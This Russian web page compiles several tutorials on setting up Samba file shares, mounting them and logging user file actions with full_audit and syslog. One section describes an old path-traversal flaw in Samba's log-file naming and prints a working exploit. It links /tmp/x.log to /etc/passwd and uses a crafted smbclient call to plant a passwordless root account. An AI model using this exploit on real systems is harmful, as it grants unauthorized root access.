- Автор: daniil
- Распечатать
Оцените статью: Поделитесь с друзьями!
- 5
- 4
- 3
- 2
- 1
(0 голосов, среднее: 0 из 5)
Samba – реализация сетевых протоколов Server Message Block (SMB) и Common Internet File System (CIFS). Основное предназначение – расшаривание файлов и принтеров между Linux и Windows системами.
Samba состоит из нескольких демонов, работающих в фоновом режиме и предоставляющих сервисы и ряд инструментов командной строки для взаимодействия со службами Windows:
Список портов, используемых Samba
Порт ПротоколСлужбаДемонОписание 137 UDP netbios-ns nmbd служба имен NetBIOS 138 UDP netbios-dgm nmbd служба датаграмм NetBIOS 139 TCP netbios-ssn smbd NetBIOS over TCP (служба сеансов) 445 TCP microsoft-ds smbd NetBIOS over TCP (служба сеансов)
Вводная статья про основные принципы расшаривания файлов и принтеров.
Установка и настройка сервера
# под Arch Linux, сервер
yaourt -S samba # под Arch Linux, клиент
yaourt -S smbclient # под Ubuntu, сервер
sudo apt-get install samba samba-common system-config-samba
Скопируем файл с настройками smb.conf
sudo cp /etc/samba/smb.conf.default /etc/samba/smb.conf
По умолчанию создаются ресурсы для домашних каталогов пользователей (раздел homes в smb.conf) и принтеров (раздел printers).
Доступ к ресурсу может быть по паролю или анонимный. Для первого способа есть пара моментов:
Просмотр пользователей
sudo pdbedit -L -v
Необходимо что-бы компьютеры принадлежали к одной рабочей группе, в Windows по умолчанию это WORKGROUP, вот её и будем использовать.
Ниже приведен пример простого файла smb.conf с настройками для анонимного доступа к директории /srv/samba/public.
sudo mkdir -p /srv/samba/public
sudo chmod -R 0777 /srv/samba/public
Имена параметров не чувствительны к регистру. Для некоторых распространенных параметров существуют синонимы, а для некоторых – антонимы. Например, writable и writeable – это синонимы, а read only – антоним для них, т.е. опция read only = yes эквивалентна опции writable = no.
[global]
workgroup = WORKGROUP
server string = Samba Server
log file = /var/log/samba/%m.log
max log size = 50
security = user
map to guest = Bad User dns proxy = no # следовать по симлинкам
unix extensions = no
wide links = yes
follow symlinks = yes # utf кодировка
dos charset = cp866
unix charset = UTF8 # отключаем принтеры
load printers = no
show add printer wizard = no
printcap name = /dev/null
disable spoolss = yes # hosts allow = 127. 192.168.24. # по умолчанию все файлы, начинающиеся с точки будут иметь атрибут “скрытый”
hide dot files = yes [public]
comment = public folder
path = /home/proft/public
read only = no
locking = no
browsable = yes # разрешить гостевой доступ
guest ok = yes
force user = nobody force group = nobody
# guest only = yes
# create mode = 0777
# directory mode = 0777 # разрешить доступ только user1, user2
# valid users = user1, user2
Проверим корректность настроек с помощью команды testparm
testparm -s
Опция -v указывает testparm выводить также значения по умолчанию.
Запустим Samba-сервер
# под Arch Linux
sudo systemctl start smbd # под Ubuntu, сервер
sudo service start smbd
Проверим подключению к Samba на порт 139 с помощью telnet
telnet 192.168.24.100 139
В Samba имеется ряд параметров, связанных с аутентификацией пользователей. Наиболее важным из них является параметр security, который может принимать пять различных значений источник:
Полный список параметров Samba есть в manpages.
Выше был приведен пример с доступом для директории с общим доступом. Рассмотрим еще пример с приватной директорией, к которой доступ только по логину и паролю.
Создадим группу и добавим в нее пользователя
sudo groupadd smbgrp
sudo usermod -a -G smbgrp proft
Создадим директорию для пользователя и установим права
sudo mkdir -p /srv/samba/proft
sudo chown -R proft:smbgrp /srv/samba/proft
sudo chmod -R 0770 /srv/samba/proft
Создадим samba-пользователя
sudo smbpasswd -a proft
Добавим в /etc/samba/smb.conf новый ресурс
[proft]
path = /srv/samba/proft
valid users = @smbgrp
guest ok = no
writable = yes
browsable = yes
Перезапустим сервер
sudo systemctl restart smbd
Пример настройки ресурса в котором есть симлинк на папку пользователя (/srv/samba/media/video » /home/proft/video)
[media]
path = /srv/samba/media
guest ok = yes
read only = yes
browsable = yes
force user = proft
Настройка клиента
Просмотр общих ресурсов компьютера
smbclient -L 192.168.24.101 -U%
Еще один способ подключения для анонимного пользователя с командной строкой
smbclient -U nobody //192.168.24.101/public
ls
Если на сервере настроен более высокий уровень безопасности, то может потребоваться передать имя пользователя или домена с помощью параметров -W и -U соответственно.
smbclient -L 192.168.24.101 -U proft -W WORKGROUP
Монтирование samba-ресурса
# создание точки монтирования
mkdir -p ~/shares/public # монтирование ресурса
# для анонимного пользователя nobody
mount -t cifs //192.168.24.101/public /home/proft/shares/public -o user=nobody,password=,workgroup=WORKGROUP,ip=192.168.24.101,utf8 # для пользователя proft
mount -t cifs //192.168.24.101/public /home/proft/shares/public -o user=proft,password=1,workgroup=WORKGROUP,ip=192.168.24.101,utf8
Еще лучше пароли хранить в отдельном файле
# sudo vim /etc/samba/sambacreds username=proft
password=1 username=noboy
password=
Выставим права доступа 0600
sudo chmod 0600 /etc/samba/sambacreds
Новая строка для монтирования
mount -t cifs //192.168.24.101/public /home/proft/shares/public -o user=proft,,credentials=/etc/samba/sambacreds,workgroup=WORKGROUP,ip=192.168.24.101
И пример для /etc/fstab
//192.168.24.101/public /home/proft/shares/public cifs noauto,username=proft,credentials=/etc/samba/sambacreds,workgroup=WORKGROUP,ip=192.168.24.101 0 0
Открыть ресурс в файловом менеджере Nautilus/Nemo/etc можно по такому пути smb://192.268.24.101.
Если Nemo пишет Nemo cannot handle “smb” locations. значит не хватает пакета gvfs-smb.
Доступ к серверу с Windows и Android клиента
Под Windows узнать рабочую группу с консоли можно с помощью
net config workstation
Открыть ресурсы на удаленной машине можно набрав в строке Explorer (Проводник) или в Run (Start – Run) UNC-адрес: 192.168.24.101.
Под Android подключится к серверу можно с помощью ES File Explorer, на вкладке Network добавляем сервер, просто по IP (без указания схемы, smb). После чего можно открывать расшаренные ресурсы. Для статистики: HDRIP-фильм идет без подтормаживания.
Дополнительное чтиво
http://www.opennet.ru/base/net/samba_tune_auth.txt.
html Вместе с Samba поставляется ряд так называемых “VFS-модулей” (Virtual File System), с их помощью становится возможным выполнение таких действий как протоколирование процесса работы на сетевых папках, организация сетевой корзины, теневое копирование (shadow copy) данных, подключение антивирусных модулей и т.п. В частности, для протоколирования действий пользователей в Samba имеется три VFS-модуля: audit, extd_audit, full_audit. Для поставленной нами задачи мы будем использовать последний из них. У данного модуля, впрочем как и у других, есть ряд параметров, с помощью которых производится его конфигурирование и настройка. Указание параметров производится в следующем виде:
имя_модуля:параметр1 имя_модуля:параметр2=значение1
имя_модуля:параметр3=значение2 значение3 значение4
Все настройки производятся в главном конфигурационном фале Samba –
smb.conf. Полный список параметров можно, вернее даже лучше
всего, посмотреть в исходном коде модуля, который находится в директории samba-3.0.23d/source/vfs. Давайте построчно рассмотрим вышеприведенный конфиг:
vfs objects = full_audit
Подключает использование данного модуля при работе с указанной сетевой папкой
full_audit:prefix= %m|%U
Задает возможность с помощью макропеременных Samba подставлять нужные значения в качестве источника события на сетевой папке при протоколировании действий.
В нашем случае в качестве источника будет производится подстановка вида NetBIOS_имя_комьютера|имя_пользователя и в log-файл будет записываться что-то вроде: Mar 5 08:47:51 calypso smbd_audit: comp1|username|mkdir|ok|/mnt/hdd1/new folder
full_audit:success=write rename unlink mkdir rmdir
full_audit:failure=write rename unlink mkdir rmdir
Модуль протоколирует действия которые завершились успешно – параметр success и закончились неудачей – failure соответственно.
Как, наверное уже понятно, для данной сетевой папки мы будем фиксировать как “успех” так и “неудачу” создания, переименования и удаления файлов и директорий.
Если же, например, нужно протоколировать ВСЕ неудачные действия на шаре то параметр full_audit:failure нужно не указывать и по умолчанию он будет фиксировать все “неудачи”.
full_audit:facility=LOCAL5
full_audit:priority=INFO
Здесь мы остановимся немного подробнее. Samba умеет вести журналы как самостоятельно так и с помощью системы Syslog. Для подробного протоколирования действий пользователей второй вариант является более предпочтительным, так как с его помощью можно более гибко настроить журналирование.
Данная гибкость, в частности, позволит нам вести протоколы работы с каждой сетевой папкой в отдельный файл. Для определения источника журналируемых записей Syslog имеет такие понятия как “категория” – facility и “приоритет” – priority.
Категория – это ряд предописанных значений, событий, вроде сообщений о регистрации пользователей, сообщений от системного планировщика, ядра, почтовой системы и т.п.
Применительно к нашей задаче имеются зарезервированные категории local0 – local7, которые не привязаны ни к какому системному событию и могут быть свободно использованы администратором. Понятие “приоритет” означает уровень важности поступаемых сообщений.
Имеется 8 уровней приоритета: debug, info, warning, notice, warning, err, crit, alert, emerg. Нам необходимо настроить протоколирование таким образом, чтобы протоколы с сетевых папок велись в отдельные файлы: каждая “шара” – в свой файл журнала. Вот здесь нам на помощь и приходят вышеописанные уровни приоритета.
Мы каждой системной папке присвоим свой уникальный уровень приоритета в пределах выбранной категории, а syslog сконфигурируем таким образом, чтобы он разделял протоколы, поступающие от сетевых папок. Т.е. будут использоваться приоритеты INFO и NOTICE категории LOCAL5. Приступим к настройке syslogd.
По умолчанию во FreeBSD все сообщения класса notice перенаправляются в файл /var/log/messages. Нам сие не нужно, поэтому нужно переконфигурировать syslog дабы разделить поступаемые классы сообщений. Сделаем это следующим образом: строку *.notice … заменим на
local5.=info /var/log/samba/docs.log local5.=notice /var/log/samba/pub.log local0.notice;local1.notice;local2.notice;local3.notice /var/log/messages
local4.notice;local6.notice;local7.notice /var/log/messages
Таким образом мы выделили приоритеты info и notice категории local5 и перенаправили их в соответствующие файлы журналов и, на всякий случай, для других приложений перенаправили остальные категории local0-local7 приоритета notice в /var/log/messages Теперь очередь за настройкой сетевой корзины. За это отвечает VFS-модуль recycle. У него имеются следующие параметры:
recycle:repository=/mnt/hdd2/lost_n_found
Абсолютный путь к папке, в которую будут перемещаться удаленные на сетевой шаре файлы и директории.
recycle:exclude = *.tmp | *.TMP | ~$* | ~WRL*
Список регулярных выражений для имен файлов которые при удалении будут удаляться, а не перемещаться в корзину. Каждое выражение отделяется от соседних символом “|”. ВНИАНИЕ! Маска файла и символ “|” обязательно должны разделяться символом пробела.
recycle:excludedir = /mnt/hdd1/temp
Список директорий удаление файлов и директорий из которых не переместит их в сетевую корзину и они на самом деле будут удалены.
recycle:maxsize=104805760
Максимальный размер файла в байтах, который может помещаться в корзину, если размер больше – файл будет удален. В данном случае в корзину будут попадать файлы размером не более 10 Мб.
recycle:keeptree
При удалении файла сохранять весь файловый путь относительно сетевой папки. Т.е. например при удалении файла file.txt, находящегося по пути path/to/file относительно сетевой шары [pub] с абсолютным путем /mnt/hdd2, в сетевой корзине будет создан файловый путь/mnt/hdd2/path/to/file и в эту директорию будет помещен file.txt.
recycle:versions
При удалении одного и того же файла filename, находящегося по одному и тому же сетевому пути, в сетевой корзине будут создаваться копии файла с именами Copy #1 filename, Copy #2 filename и т.д.
Ранее я неоднократно рассказывал, как настроить файловый сервер samba для совместной работы с файлами. При совместной работе часто бывает нужно знать, кто и когда что-то сделал с тем или иным файлом, а конкретно, кто удалил файл. По-умолчанию, такой лог не ведется, нужно настраивать отдельно. Займемся настройкой логирования операций с файлами в данной статье.
У меня есть две статьи по настройке файлового сервера samba:
В обоих случаях будет не лишним настроить логирование всех обращений к файлам на сервере. Делается это штатными возможностями самой самбы. Она будет отправлять логи в syslog, а в нем мы уже настроим их хранение и ротацию с помощью logrotate. На нагруженных серверах логи будут очень объемными. Нужно обязательно позаботиться об их хранении и удалении.
Я буду настраивать логи в samba на сервере CentOS 7. В других случаях отличий почти не будет. Сами настройки самбы везде одинаковые. Syslog и Logrotate тоже примерно одинаковые во всех дистрибутивах Linux.
Для логирования действий пользователей на файловом сервере будем использовать модуль самбы full_audit.
Если вы хотите выполнять логирование операций с файлами в один лог файл по всем доступным шарам, то добавляйте настройки аудита в глобальную секцию. Если же захотите разделить по шарам, то отдельно в каждую шару с небольшими изменениями. Я рассмотрю оба варианта.
Для начала, настроим аудит по всем шарам в один общий файл. Добавляем в /etc/samba/smb.conf в секцию [global] следующие строки:
log level = 1 vfs:1 full_audit:prefix = %u|%I|%S full_audit:success = connect, open, mkdir, rmdir, unlink, write, rename full_audit:failure = connect, open, mkdir, rmdir, unlink, write, rename full_audit:facility = local5 full_audit:priority = notice vfs objects = full_audit
Поясню каждый параметр.
full_audit:prefix В каком формате будет выводиться информация о подключении: %u — имя пользователя, %I — его ip адрес, %S — название шары. full_audit:success Какие удачные события будут логироваться. В приведенном примере по смыслу и так понятно, о чем речь. Полный список событий такой: chdir, chflags, chmod, chmod_acl, chown, close, closedir, connect, disconnect, disk_free, fchmod, fchmod_acl, fchown, fget_nt_acl, fgetxattr, flistxattr, fremovexattr, fset_nt_acl, fsetxattr, fstat, fsync, ftruncate, get_nt_acl, get_quota, get_shadow_copy_data, getlock, getwd, getxattr, kernel_flock, link, linux_setlease, listxattr, lock, lseek, lstat, mkdir, mknod, open, opendir, pread, pwrite, read, readdir, readlink, realpath, removexattr, rename, rewinddir, rmdir, seekdir, sendfile, set_nt_acl, set_quota, setxattr, stat, statvfs, symlink, sys_acl_delete_def_file, sys_acl_get_fd, sys_acl_get_file, sys_acl_set_fd, sys_acl_set_file, telldir, unlink, utime, write. full_audit:failure То же самое, что выше, только для ошибок. full_audit:facility Категория событий syslog, в которую будут попадать записи. full_audit:priority Приоритет записей для syslog. Для самбы будет достаточно приоритета notice, чем ее записи по сути и являются.
Если вы хотите настроить вывод лога доступа с разных шар в отдельные файлы, то указанные выше параметры поместите не в глобальную, а отдельно в каждую секцию с шарой, изменив категории событий, сделав их в каждой шаре уникальными, например local5 и local6. Так же нужно будет в каждую шару отдельно добавить еще один параметр:
vfs objects = full_audit
После изменения конфигурации, не забудьте перезапустить самбу. Если больше ничего не делать, то логи посещений самбы польются в стандартный поток вывода для системных логов. В Centos в /var/log/messages. Это очень неудобно, поэтому далее настроим вывод логов в отдельный файл.
Нам нужно отредактировать файл конфигурации rsyslog для направления вывода лога самбы в отдельный файл. В CentOS 7 открываем файл /etc/rsyslog.conf и добавляем в самый конец такую строку:
# mcedit /etc/rsyslog.conflocal5.notice -/var/log/samba/audit.log
Этим параметром мы направили вывод логов аудита посещений в отдельный файл audit.log. Если все оставить как есть, то информация о посещениях будет писаться как в отдельный файл, так и в общий системный. Чтобы в общий не писалось, редактируем еще одну строку, добавляя туда выделенный фрагмент:
*.info;mail.none;authpriv.none;cron.none;local5.none /var/log/messages
Сохраняем файл и перезапускаем rsyslog.
# systemctl restart rsyslog
Теперь все нормально. Все логи посещений шары на samba будут складываться в отдельный файл и только туда.
Если у вас есть желание хранить логи на удаленном сервере, то воспользуйтесь моей статье на эту тему — настройка syslog-ng для удаленного сбора логов. Это сделать быстро и просто.
Зачастую это может быть оправданно и удобно, особенно с точки зрения безопасности и не только логов от самбы.
Осталось малось — настроить ротацию логов. Сделать это надо обязательно, так как файл аудита будет расти очень быстро. Здесь ничего особенного, используем logrotate. Скорее всего у вас уже есть фал конфигурации logrotate для самбы. Он создается в момент установки. Отредактируем его, добавив новые параметры.
# mcedit /etc/logrotate.d/samba/var/log/samba/audit.log { daily notifempty olddir /var/log/samba/old missingok sharedscripts copytruncate rotate 90 compress }
Я храню логи за последние 90 дней, ротацию делаю раз в день и складываю старые логи в отдельную папку. Если у вас в конфигурации есть параметр с маской, который захватывает сразу все файлы в директории /var/log/samba, например вот так:
/var/log/samba/*
То либо вынесите лог-файл с аудитом в отдельную директорию, либо измените маску.
Я уже давно заметил один неприятный баг в самбе 4-й версии. Привожу пример того, как выглядит лог посещений файловой шары самбы с русскими названиями в именах на 3 и 4-й версии. В данном случае сначала версия 3.6.3, потом 4.6.2
В первом случае отображаются полные корректные пути. Во втором случае на события типа open идут только обрывки названий директорий, по которым не понятен полный путь. Делаю важный акцент — только на события open.
Если идут события создания, удаления, изменения, то пути уже корректны, даже если они русские. В принципе, события на доступ лично для меня обычно не важны. Интерес представляет только создание, изменение и особенно удаление файлов. С этим все в порядке.
Аудит показывает корректный лог удаления файлов. Но все равно не приятно смотреть на неинформативный лог.
Возможно, дело не в 3-1 и 4-й версии. Я не проверял различные изменения в рамках одной и той же ветки. Просто посмотрел на имеющиеся у меня сервера. Там где 3-я версия все в порядке, там где 4-я везде такой бардак в логах. Если кто-то знает, как от него избавиться, прошу поделиться.
Решением может стать настроенный аудит для samba.
Настройки не сложные и если у вас относительно новые дистрибутив Ubuntu и Samba, то вам даже не придется перезагружать сервер (вопреки многим мануалам в сети, в которых пишут что настройки применятся только при перезагрузке)
Во первых: настраиваем саму Samba, для этого в /etc/samba/smb.conf дописываем в секцию [global] строки:
#Префикс – описание пользователя. %u – имя %I – IPадрес.full_audit:prefix = %u|%I|%S#запись об ошибках. В нашем случае – ошибки не записываем.full_audit:failure = none#запись о действиях: создать папку, удалить папку, открыть файл, …., записать файл, перезаписать файл,#…., переименовать файл, разблокировать доступ к файлу, заблокировать доступ к файлу.full_audit:success = mkdir rmdir open read pread write pwrite sendfile rename unlink lockfull_audit:facility = local5#уровень записи. Может быть debug или noticefull_audit:priority = debug
Добавлю для более детального понимания проблемы: если нужно логировать только один каталог, то вы можете указать эти параметры только для одного каталога и тогда они должны быть указаны в соответствующей секции (например [home]) описания этого каталога, а не в разделе [global]. Вы даже можете указать в префиксе имя этой секции, если таких каталогов у вас более одного
full_audit:prefix = [home] %u|%I|%S
Во вторых, чтобы лог писался не в /var/log/syslog, а в отдельный файл делаем следующее:
Чтобы исключить запись наших событий в /var/log/syslog необходимо в файле /etc/rsyslog.d/50-default.conf отредактировать строку как показано ниже
– *.*;auth,authpriv.none -/var/log/syslog+ #*.*;auth,authpriv.none -/var/log/syslog+ *.*;local5,auth,authpriv.none -/var/log/syslog
Оригинал настройки в комментарий, чтобы была возможность отката изменений.
Создайте сам файл и назначьте на него права соответствующие для доступа syslog:
touch /var/log/samba/audit.logchown syslog:adm /var/log/samba/audit.log
Далее есть 2 варианта, чтобы заставить rsyslog писать лог в нужный вам файл (для примера этот файл /var/log/samba/audit.log):
Или добавить все в том же файле /etc/rsyslog.d/50-default.conf строку
local5.debug* /var/log/samba/audit.log
или же создать отдельный файл настройки для rsyslog:
touch /etc/rsyslog.d/00-samba-audit.confecho “local5.debug /var/log/samba/audit.log” > /etc/rsyslog.d/00-samba-audit.conf
Для красоты и компактности добавляем ротацию логов для чего в файл /etc/logrotate.d/samba добавляем строки
/var/log/samba/audit.log { reload rsyslog > /dev/null 2>&1 || true
В третьих перегрузить настройки samba и перезапустить rsyslog
smbcontrol all reload-config
После всех проделанных настроек в файле лога /var/log/samba/audit.log должны начать появляться записи лога, конечно же после каких-либо действий в соответствующих каталогах Samba.
P.S. описан просто рабочий пример, вдаваться в подробности значений всех настроек не вижу смысла в гугле полно данных на эту тему. Но этот рабочий минимум надо было записать, чтобы не забыть )))
Недостаточная проверка правильности параметра и опасная конфигурация, используемая по умолчанию, делают многочисленные системы, использующие Samba совместно с file sharing, уязвимыми для удаленных атак.
Из-за недостаточной проверки правильности NetBIOS имени компьютера во входящих SMB запросах, вместе с заданной по умолчанию конфигурацией, самба daemon позволяет отдаленным нападавшим создавать SMB журналы сеанса (*.
log), с содержанием, указывающим на директории более высокого уровня. На уязвимой платформе, по умолчанию,
каждая SMB сессия создает лог файл:
/var/log/samba/.log.
Если атакующий заходит с компьютера ‘FOOBAR’, логи будут записываться в /var/log/foobar.log. Теперь, если netbios имя атакующего будет ./../../evil, то система также создаст /evil.log файл, но уже в директории более высокого уровня, это и есть главная ошибка. Эту уязвимость возможно использовать при условии, если следующие установки присутствуют в файле
smb.conf :
log file = /var/log/samba/%m.log
которая является по умолчанию в большинстве LINUX платформ. Но на некоторых
системах конфигурация может быть такой:
log file = /usr/local/samba/var/log.%m
В этом случае (например FreeBSD), нельзя
использовать эту уязвимость.
Реализация ошибки
Это пример сценария локальной атаки для
получения повышенных привилегий:
ln -s /etc/passwd /tmp/x.log $ smbclient //NIMUE/”`perl -e ‘{print ”
toor::0:0::/:/bin/sh
“}’`”
-n ../../../tmp/x -N
Где NIMUE — соответствует имени локального хоста (при этом могут быть возвращены
несколько ошибок).
$ su toor
#
Использовать эту атаку довольно просто: — Samba daemon пытается обратиться к лог файлам для хоста, подставляющегося себя как ‘ ../../../tmp/x ‘. Это транслирует функцию open() на /var/log/samba/../../../tmp/x.log. Таким образом, файл /tmp/x.
log открыт в режиме O_APPEND, после предварительно созданного символьного линка на /etc/passwd
— все, путь свободен. Тогда, анонимная попытка устанавливает несуществующий share named «
toor::0:0::/:/bin/sh
» в «/tmp/x.
log» или, если Вы предпочитаете, в /etc/passwd.
Сообщение об ошибках смотрит этот путь:
[2001/06/22 14:53:03, 1] smbd/reply.c:reply_sesssetup_and_X (925) Rejecting user ‘lcamtuf’: authentication failed [2001/06/22 14:53:03, 0] smbd/service.c:make_connection(214) ../../../tmp/x (192.233.133.108) couldn’t find service
toor::0:0::/:/bin/sh
последняя строка, очевидно, разрешает /bin/su
или /bin/login.
В качестве временного решения следует изменить формат Лог файлов и дождаться официального патча:
13.05.2011 – 13:27
В нашей сети в качестве файлопомойки по политике всем пользователям подключен сетевой диск “W”. Необходимо было как то контролировать действия юзеров с данным диском (открытие, создание, удаление или переименование файлов и каталогов).
В самбе уже есть для этих целей необходимый модуль “full_audit”, который умеет все выше перечисленное. В результате все необходимые данные будут записываться в файл /var/log/samba/audit.log.
Если хотим мониторить все шары, то вносим настройки аудита в секцию [global], а если только определенные, то в секцию конкретной шары. Например, редактируем конфиг самбы:
[root@fs /]# cat >> /usr/local/etc/smb.conf
…………..
# Моя шара с правами – 777.
[pub]
comment = Доступ на чтение/запись разрешена всем
path = /mnt/ad1/
veto files = /*.avi/*.mp3/*.mkv/*.wav/*.wma/*.fly/*.mpg/*.mpeg/*.vob/*.3gp/*.exe/*.reg/*.src/*.pif/*.cmd/*.bat/*.inf/*.ini/*.com/*.dll/
delete veto files = yes browseable = no
writable = yes
guest ok = yes
# Подключаем модуль “full_audit”. vfs object = full_audit
# Уровни логирования:
# 0 – создание -удаление директорий и удаление файлов
# 1 открытие директорий, переименование файлов, изменение прав/списков_доступа ,
# 2 открытие и закрытие файлов
# 10 максимальный уровень.
log level = 1 vfs:1
syslog = 7
# Может принимать любые значения из набора: %u, %I, %U, %m, %s, %S, %a, %h, %H.
full_audit:prefix = %u|%I
full_audit:success = connect, open, mkdir, rmdir, unlink, write, rename, pwrite full_audit:failure = none full_audit:facility = local5
full_audit:priority = notice
Передергиваем демон самбы:
[root@fs /usr/local/etc/rc.d]# ./samba reload
Теперь в /var/log/messages, будет сыпаться лог. Вот такого вида:
May 13 19:11:05 fs smbd[84930]: nobody|192.168.31.25|mkdir|ok|lymar
May 13 19:11:26 fs smbd[84930]: nobody|192.168.31.
25|mkdir|ok|lymar/ASU
May 13 19:11:36 fs smbd[84930]: nobody|192.168.31.25|rename|ok|lymar/ASU|lymar/Asu-1
May 13 19:11:37 fs smbd[83898]: nobody|192.168.39.
94|connect|ok|pub
May 13 19:12:07 fs smbd[84930]: nobody|192.168.31.25|rmdir|ok|lymar/Asu-1
Теперь необходимо все это складывать в отдельный файл /var/log/audit.log. Для этого необходимо подправить /etc/syslog.conf:
[root@fs /etc]# cat /etc/syslog.conf | grep local5
#добавляем local5.
*.notice;local5,authpriv.none;kern.debug;lpr.info;mail.crit;news.err /var/log/messages
!*
local5.notice /var/log/audit.log
Делаем суслогу рестарт:
[root@fs /etc/rc.d]# ./syslogd restart
Теперь логи у нас будут складываться тут /var/log/audit.log.
Тема данной статьи, на сегодняшний день, является довольно хорошо освещенной. Настолько хорошо, что до недавнего времени я даже не думал писать сей документ. Однако, мой личный опыт показывает, что самым распространенным видом серверов является файл-сервер.
Соответственно, большинство вопросов у начинающих линуксоидов возникает по настройке samba, на основе которой и строится последний. Я попытаюсь разъяснить некоторые моменты касательно начальной настройки samba. Касаться всех возможных опций я не буду, по причине огромного их количества. В конце концов, все они очень хорошо описаны в документации, прилагаемой к программному пакету.
Также не буду я касаться настройки сервера печати. Так как заниматься настройкой такого сервера мне пока не приходилось..
Вся настройка сводится к редактированию конфигурационного файла по адресу /etc/samba/smb.conf либо /etc/smb.conf или /etc/smb/smb.conf(зависит от версии дистрибутива).
Сразу оговорюсь, что использование Samba не ограничивается только созданием файлового сервера. С помощью Samba можно сканировать удаленные ресурсы а также монтировать их. Но об этом немного позже.
Рассматриваться будет Samba версий 2.* и 3.*. С точки зрения настройки, различие в версиях не большое. Такие места я оговорю в ходе описания настройки.
Давайте рассмотрим типичный файл smb.conf.
Любая строка, которая начинается с ; или # является комментарием и будет проигнорирована.
[global]
workgroup =
server string = File-server
netbios name = Server
netbios aliases = AliasServer
hosts allow = 10.10.20. 127.0.0. eth1
printcap = /etc/printcap
load printers = yes
printing = lprng
guest account = nobody
log file = /var/log/samba/%m.log
max log size = 500
security = user
; password server =
map user = bad user
; password level = 8; user level = 8
encrypt passwords = yes
smb passwd file = /etc/samba/smbpasswd
; unix password sync = Yes
; passwd program = /usr/bin/passwd %u
; passwd chat = *New*UNIX*password* %n
*ReType*new*UNIX*password* %n
*asswd:*all*authentication*tokens*updated*successfully*
user map = /etc/samba/smbusers
include = /etc/samba/smb.conf.%m
socket options = TCP_NODELAY SO_RCVBUF=8192 SO_SNDBUF=8192
interfaces = 10.10.20.1/24 eth2
domain logons = yes
client code page=866
character set=koi8-r
dos charset=866
unix charset=koi8-r
remote announce = 10.10.20.255 10.10.10.44
domain master = yes
wins support = yes
comment – комментарий ресурсаpath – путь к папкеvolume – dos-метка дискаguest ok – доступ к ресурсу без аутентификацииread only – запрет на записьwritable – разрешение на записьwrite list – список юзеров, которым разрешена записьread list – список юзеров, которым запрещена записьhide dot files – считать файлы, имя которых начинается с точки скрытымиhide files – файлы определенные этим шаблоном считать скрытымиveto files – файлы определенные этим шаблоном будут недоступныdelete veto files – разрешение или запрет на удаление недоступных для пользователя файлов.
[homes]comment = Home Directoriesreadonly=nobrowseable = nowritable = yes
[netlogon]
comment = Network Logon Service
path = /home/netlogon
guest ok = yes
writable = no
share modes = no
[Profiles]
path = /home/profiles
browseable = no
guest ok = yes
[printers]
comment = All Printers
path = /var/spool/samba
browseable = no
guest ok = no
printable = yes
[tmp]
comment = Temporary file space
path = /tmp
read only = no
public = yes
[public]
comment = Public Stuff
path = /home/samba
public = yes
writable = yes
printable = no
write list = @staff
[fredsprn]
comment = Fred's Printer
valid users = fred
path = /homes/fred
printer = freds_printer
public = no
printable = yes
[fredsdir]
comment = Fred's Service
path = /usr/somewhere/private
valid users = fred
public = no
writable = yes
printable = no
[pchome]
comment = PC Directories
path = /usr/pc/%m
public = no
writable = yes
[public]
path = /usr/somewhere/else/public
public = yes
only guest = yes
writable = yes
printable = no
[myshare]
comment = Mary's and Fred's stuff
path = /usr/somewhere/shared
valid users = mary fred
public = no
writable = yes
printable = no
create mask = 0765
Привожу свои открытые ресурсы.
[public]path=/home/samba/publiccomment=File-sharewritable = yesguest ok=yes
[CD]path=/mnt/cdromcomment=For read CDROMguest ok=yeswritable=no
В принципе, все. Осталось проверить и запустить.
После конфигурирования пробуем команду testparm -v|less. Для чего тут необходим less, думаю, объяснять не надо… Будут протестированы указанные параметры самбы.
Если вы видите, что какойто параметр вы не указывали а он здесь есть, не пугайтесь, это значения по умолчанию. Кстати, таким образом очень хорошо изучать Samba на более глубоком уровне – прогоняем, смотрим параметр, читаем мануал.
Кстати мануал по самбе, на мой взгляд, один из лучших. Хоть и огромного размера, зато все описано очень доходчиво и хорошо структурировано.
Если проверка не выявила ошибок, перезапускам samba.
Для RedHat-подобных систем:
#/etc/rc.d/init.d/smb restart
Для BSD-подобных (например Slackware):
#/etc/rc.d/samba restart
Еще несколько необходимых вам команд:
smbpasswd – Добавить пользователя или изменить пароль существующему.
smbpasswd -a user – добавить пользователя. Обратите внимание, что должен быть создан Linux-пользователь с таким же именем.
smbpasswd -x user – удалить пользователя.
smbpasswd user – сменить пароль.
Пароли хранятся в smbpasswd. Сведения о пользователях в smbusers.
smbclient -L host – укажет все открытые шары на удаленной машине + некоторую интересную информацию.
smbmount – монтирование удаленной шары. Формат такой же как и у mount. Отличие в наличии дополнительных примочек. Подробнее смотрите man smbmount
Если, при монтировании, возникают проблемы с кодировкой русскоязычных названий папок и файлов, попробуйте в конце дописать -o codepage=866,iocharset=koi8-r
За сим все.
Бизнесу, который продает продукцию, ввозит товары, выходит на маркетплейсы или участвует в поставках, важно заранее…
На строительных площадках, месторождениях и временных объектах часто нужно быстро организовать бытовые условия для небольшой…
Magic mushrooms are a type of fungi that comprise naturally occurring psychedelic compounds, primarily psilocybin…
Buying a luxury home is very completely different from purchasing a standard property. High-end buyers…
1win Uganda refers to the localized presence and use of the international online betting and…
Discovering Your Residence Under the Mediterranean Sun The territory of Cyprus draws newcomers in respects…
This website uses cookies.